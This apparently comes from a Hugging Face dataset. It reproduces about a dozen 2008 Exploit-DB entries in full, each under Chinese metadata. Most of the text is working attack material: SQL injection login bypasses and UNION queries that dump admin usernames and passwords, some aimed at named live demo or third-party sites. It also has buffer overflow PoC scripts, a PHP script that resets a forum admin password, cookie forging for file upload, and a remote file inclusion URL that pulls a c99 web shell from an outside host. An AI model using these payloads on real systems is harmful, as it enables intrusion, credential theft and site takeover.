QLWD/code_shield huggingface dataset:
标题: W3C Amaya 10.1 Web Browser - URL Bar Remote Stack Overflow (PoC) EDB-ID: 7209 CVE: 2008-5282 类型: DOS 平台: WINDOWS 发布日期: 2008-11-24 漏洞利用脚本: #            W3C Amaya 10.1 Web Browser
#
# Amaya (URL Bar) Remote Stack Overflow Vulnerability
#
# Written and discovered by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/40/
# ------------------------------------------------------
#
# Shellcode notes: 
# The application fails to correctly process certain bytes: 
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). 
#
# After reviewing the source code, the below function modifies the
# shellcode:  
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
# 
# The URL bar contains a buffer overflow vulnerability: 
# buffer length: 1600 bytes
#
# [junk] + [eip] +     [shellcode]
#  1600  +   4   +  sizeof(shellcode)
#
# ESP points to data after EIP. 
#
# I found it difficult to access the URL bar via HTML code. For example, compile the above code, 
# write it to a HTML file, then load it into the browser. Attempt to click the link and
# you will notice there is a 800 character limit on the link. 
#
# To bypass this problem click the link then select "Links" >> "Create or change link...". 
# Now click "Confirm". Alternatively just copy the payload into the URL bar. 
#
# URL Bar Proof of concept: 
# ----------------------------------------------------
#!/usr/bin/perl

use warnings;
use strict;

my $shellcode = 'C' x 80;

# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data   =       '<a href="' .
                        'A' x 1600 .
                        "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
                        $shellcode . 
                        '">r0ut3r</a>';
print $data;

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7209
标题: Pilot Group PG Roommate Finder Solution - Authentication Bypass EDB-ID: 7201 CVE: 2008-5307 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: [~] PG Roomate Finder Solution Auth Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~]
[~] dork: "Powered by PG Roomate Finder Solution - roommate estate web site design"  ( aha size dork :( ( )
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


exploit for demo: 

login: http://www.realtysoft.pro/roommate/demo/admin/index.php

username: admin ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7201
标题: PHP Classifieds Script - Remote Database Disclosure EDB-ID: 7206 CVE: 2008-7080 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc ....... www.hackteach.org/cc  

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script   : PHP Classifieds Script

<<->> download : www.phpclassifiedsscript.com  


=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

                         Step 1 :>  http://www.site.me/path/admin/backup/datadump.sql

                         Step 2 :> read that sql file and search for admin name & pass from "admin" table. 

                         Step 3 :> login in admin panel http://www.site.me/path/admin 

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , hcj ( www.hcjlife.com ), str0ke 

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7206
标题: PG Real Estate - Authentication Bypass EDB-ID: 7200 CVE: 2008-5306 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: [~] PG Real Estate Solution Auth Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~]
[~] dork: "Powered by PG Real Estate Solution - real estate web site design"  ( aha size dork :( ( )
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin 


exploit for demo: 

login: http://www.realtysoft.pro/realestate/demo/admin/index.php

username: admin ' or ' 1=1--

password: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7200
标题: Netartmedia Blog System - SQL Injection EDB-ID: 7199 CVE: 2008-5311 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: ==================================================================================================================
          SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM
          S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M
          SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M
              S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M
          SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M
===================================================SNAKES TEAM====================================================
                                                                                       
                             Script: NetArtMedia blog system Remote SQL Injection Vulnerability                                   
                                                                                                              
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =                Discovered By: Snakespc  :::ALGERIAN HaCkEr:::         =     =   
                =                                                                                    =
                =    =    ************ ::::::home : www.snakespc.com/sc::::::***************     =   =
                =                                                                                    =
                =       =                 :::::Mail: snakespc@gmail.com:::::::             =         =
                =                                                                                    =
                =           Sript : http://www.netartmedia.net/blogsystem/                 =
                =                               www.netartmedia.net                                  =              
                 =================================== Snakespc ======================================    


[*]Exploit:
Using FireFox
view-source:http://localhost/[script_path]/image.php?id=-1 UNION SELECT 1,2,concat_ws(0x3e,username,password,email),4,5,6,7 FROM websiteadmin_admin_users--
                                                                   
===================================================================================================================
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::Super Cristal:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/sc >>>> Members 
str0ke.....>>>>.....milw0rm
===================================================================================================================

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7199
标题: Goople CMS 1.7 - Insecure Cookie Handling EDB-ID: 7205 CVE: 2008-6119 2008-6118 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
#
# Script : Goople Cms (1.7)
# Download : http://ovh.dl.sourceforge.net/sourceforge/gooplecms/GoopleCMS_1.7.rar
# 
# Exploit : 
# Open : http://SITE/win/upload.php
# javascript:document.cookie = "loggedin=1; path=/";
# Copy/paste and go and back and upload PHP/HTML etc.. file. (and ingilizceme sokiyim :D )
# File : http://SITE/user/doc/FILE (or your select)
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#                       Rinia ShqiptaRe  :) 
#                       Proud 2 Be MUSLIM !
#                      Proud 2 Be ALBANIAN !
#######################################################

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7205
标题: Nero ShowTime 5.0.15.0 - '.m3u' Playlist File Remote Buffer Overflow (PoC) EDB-ID: 7207 CVE: 2008-7079 类型: DOS 平台: WINDOWS 发布日期: 2008-11-24 漏洞利用脚本: #!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";

# milw0rm.com [2008-11-24] URL: https://www.exploit-db.com/exploits/7207
标题: PG Job Site - Blind SQL Injection EDB-ID: 7202 CVE: 2008-6117 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: [~] PG Job Site homepage.php (poll_view_id) Blind Sql inj.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 23.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarÃ½ Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: a.q a.q a.q a.q a.q a.q a.q a.q a.q limit(a.q)=sonsuz  ( bIktIm )
[~] -----------------------------------------------------------

exploit for demo: ( you must login to site after you test this links. you look left for two link)

http://www.jobsoftpro.com/demo/homepage.php?action=results&poll_ident=6&poll_view_id=6+and+substring(@@version,1,1)=4 ( true )

http://www.jobsoftpro.com/demo/homepage.php?action=results&poll_ident=6&poll_view_id=6+and+substring(@@version,1,1)=5 ( false )

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7202
标题: MODx CMS 0.9.6.2 - Remote File Inclusion / Cross-Site Scripting EDB-ID: 7204 CVE: 2008-5939 2008-5938 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: ########################################################################
#
#                               ::  The Codes Like A Game Anyone Can Play With It,s ::
#
# Title: MODx CMS  <= 0.9.6.2  Multiple Remote Vulne ( RFI + XSS)
#
# Vendor: http://modxcms.com/assets/snippets/filedownload/download.php?path=YnVpbGRz&fileName=modx-0.9.6.2.tar.gz&utm_source=0961p2&utm_medium=web&utm_campaign=download
#
# Discover by : RoMaNcYxHaCkEr (Br0k3n H34rT)
#
# My Email : rxh0@hotmail.com  [ Please Before Added Me , Be Sure I Don,t Give You Anythings :) ]
#
# Impact: High
#
# Fix: Contact With Me ;)
#
# Site: WwW.Sec-Code.CoM
#
# My Group : Security - Codes TeaM
#
########################################################################

####################
- Vulne  [RFI] In File snippet.reflect.php In Path assets/snippets/reflect/:
####################


require($reflect_base."configs/default.config.php");

require($reflect_base."default.templates.php");


####################
- Exploit  [RFI]:
####################

http://WwW.Sec-Code.CoM/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.shellbox.com.ar/%5Bc%5D/c99.txt?


####################
- Exploit  [XSS] In File index.php In Main Path:
####################

http://WwW.Sec-Code.CoM/modx-0.9.6.2/index.php?id=1

By POST Method Posted That,s In username Box (Variable)

"+onmouseover=alert(400942638703)+

####################
- Solution:
####################

Declear & Filter All This Fucking Functions

####################
- GreTzZ :
####################

No oN3 D3s3rved Just Fuck The Lamers , Kidz Or Snitch ( I Hate Him , And Do You ...!!! )

####################

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7204
标题: Prozilla Hosting Index - 'id' SQL Injection EDB-ID: 7195 CVE: 2008-6115 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: ==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            = 
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =      
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +       
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =      
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            = 
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=                                   Script:hostindex  Remote SQL Injection Vulnerability                         +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =   
                =                                                                                    =
                                    :::::Mail: snakespc@gmail.com:::::::             
                =                                                                                    =
                =          = ::::script Demo: http://turnkeyzone.com/demos/hostindex/::::=           =
                =                                                                                    =
                =                          Script site: turnkeyzone.com   "directory.php"            =
                  ===================================Snakespc======================================

Exploit:
http://localhost/hostindex/directory.php?ax=deadlink&id=-3+UNION SELECT 1,2,concat(user(),0x3a,database(),0x3a,version())--
********
demo:
http://turnkeyzone.com/demos/hostindex/directory.php?ax=deadlink&id=-3+UNION SELECT 1,2,concat(user(),0x3a,database(),0x3a,version())--
===================================================================================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::
ALL www.Snakespc.com/SC >>>> Members 
Str0ke ....Milxw0rm
===================================================================================================================

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7195
标题: LoveCMS 1.6.2 Final (Simple Forum 3.1d) - Change Admin Password EDB-ID: 7191 CVE: 2008-5308 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-22 漏洞利用脚本: <?php

/**
* LoveCMS 1.6.2 Final (Simple Forum 3.1d) Change Admin Password Exploit
* Vulnerability found & exploited by cOndemned
*
* Download: 
* http://www.thethinkingman.net/modules/download_manager/?id=4
*
* Description:
* This exploit changes forum admin password (ex. attacker will be
* able to delete threads/topics) and sets allowHTML to true 
* (attacks such as XSS/HTML Injection will be possible)
*
*/

 $target = 'localhost/audits/lovecms';
 $pass = 'timetodie';
 $buff = array
  (
   'language'  => 'en',
   'forumWidth'  => '500',
   'forumAlign'  => 'left',
   'forumTitle'  => 'Simple Forum',
   'threadsPerPage' => '15',
   'wordLength'  => '50',
   'autoDelete'  => '12',
   'adminPass'  => $pass,
   'allowHTML'  => '1',
   'allowURLs'  => '1',
   'allowUBBs'  => '1',
   'enableIDs'  => '0',
   'enableSignature' => '1',
   'enableRefererCheck' => '0',
   'enableAgentCheck' => '0',
   'agents'  => 'Mozilla.Opera.Lynx.Mosaic.amaya.WebExplorer.IBrowse.iCab',
   'nonos'   => 'fuck.asshole',
   'update'  => 'Update'
  );

 $xpl = curl_init();

 curl_setopt($xpl, CURLOPT_URL, $target . '/modules/simpleforum/admin/index.php');
 curl_setopt($xpl, CURLOPT_POST, 1);
 curl_setopt($xpl, CURLOPT_POSTFIELDS, $buff);

 curl_exec($xpl);
 curl_close($xpl);

 echo "[!] Go to the website and check if U can login.\r\n"; 
?>

# milw0rm.com [2008-11-22] URL: https://www.exploit-db.com/exploits/7191
标题: Microsoft XML Core Services DTD - Cross-Domain Scripting (MS08-069) EDB-ID: 7196 CVE: 2008-4033 2008-4029 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-23 漏洞利用脚本: <html>
<body>
KB955218 - CVE-2008-4029 - JA
<script type="text/javascript">
var dom = new ActiveXObject("Msxml2.DOMDocument.3.0");
dom.async = false;
var url = "http://www.milw0rm.com/forfun.dtd";
var xml = "<!DOCTYPE pwn SYSTEM '" + url + "'>";
if (dom.loadXML(xml) == 0)
{
 alert("Blue or Red Pill? " + dom.parseError.srcText);
}
</script>
</body>
</html>

# milw0rm.com [2008-11-23] URL: https://www.exploit-db.com/exploits/7196
标题: Joomla! Component Thyme 1.0 - SQL Injection EDB-ID: 7182 CVE: 2008-6116 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-21 漏洞利用脚本: ###################################################################################################################
#Author: Ded MustD!e
###################################################################################################################
#Google Dork: com_thyme
###################################################################################################################
#Exploit: http://www.site.com/index.php?option=com_thyme&calendar=1&category=1&d=1&m=1&y=2008&Itemid=1&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################
#Example: http://www.orlandoprofessionals.org/index.php?option=com_thyme&calendar=1&category=0&d=25&m=10&y=2008&Itemid=67&event=1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,concat(username,0x3a,password),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+jos_users/*
###################################################################################################################

<creationDate>10/10/2005</creationDate>
<author>eXtrovert software</author>
<copyright>eXtrovert software</copyright>
<authorEmail>thyme@extrosoft.com</authorEmail>
<authorUrl>www.extrosoft.com</authorUrl>
<version>1.0</version>

# milw0rm.com [2008-11-21] URL: https://www.exploit-db.com/exploits/7182